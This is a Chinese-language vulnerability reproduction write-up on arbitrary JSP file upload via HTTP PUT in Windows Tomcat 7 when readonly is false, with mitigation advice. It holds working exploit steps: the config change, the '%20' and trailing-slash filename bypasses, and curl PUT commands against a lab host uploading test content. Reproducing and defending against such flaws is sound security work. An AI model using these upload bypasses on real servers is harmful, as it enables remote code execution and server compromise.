一.漏洞介绍

当tomcat在windows系统上运行,并开启了PUT请求时(需要设置readonly的参数值为false),可能会造成任意jsp代码的上传和执行,属于高危漏洞。

但在tomcat7中,readonly的参数默认为true,因此该漏洞在实际情况下的利用成功率较小。但如果管理员设置了readonly的参数为false,那么就很有可能导致服务器被攻击,风险较高。

二.影响范围

Apache Tomcat 7.0.0 – 7.0.79(windows环境下)

三.复现环境

Win10 + Apache Tomcat 7.0.79

四.漏洞复现

1. 开启tomcat的PUT请求 打开tomcat根目录下的/conf/web.xml,在其中添加randonly并设置为false

<init-param><param-name>readonly</param-name><param-value>false</param-value>

</init-param>

2. 发起PUT请求,上传jsp文件 可以使用以下两种方法绕过上传

1. /evil.jsp%20

2. /evil.jsp/

第一种方法是骗过 tomcat 而进入 DefaultServlet 处理的逻辑

第二种方法是利用java的File类中的normalize函数过滤末尾斜杠的特性,/evil.jsp/会被解析为/evil.jsp,此漏洞在tomcat 5.x~9.x各版本均存在

因此我们在kali下直接用curl发起PUT请求来验证

Alt text 首先可以看到不加特殊字符绕过直接上传是不能成功的


curl -X PUT 192.168.110.1:8080/1.jsp%20 --data "test1"

在文件名后添加%20,上传成功,访问后可以看到test1 Alt text


curl -X PUT 192.168.110.1:8080/2.jsp/ --data "test2"

在文件名后添加/,上传成功,访问后可看到test2 Alt text

五.应对方法

  1. 最简单的就是升级到更高版本的tomcat。
  2. 当用户使用该漏洞所影响的版本时,应该检测是否开启了PUT请求(即/conf/web.xml中的readonly是否为false),若开启的话可以考虑关闭。
  3. 若关闭PUT请求对业务有所影响,那么可以使用WAF来进行请求的过滤。

对于该漏洞的分析可参考这篇文章:

https://paper.seebug.org/399/#_6

其对java的源代码进行了分析,详细解释了漏洞成因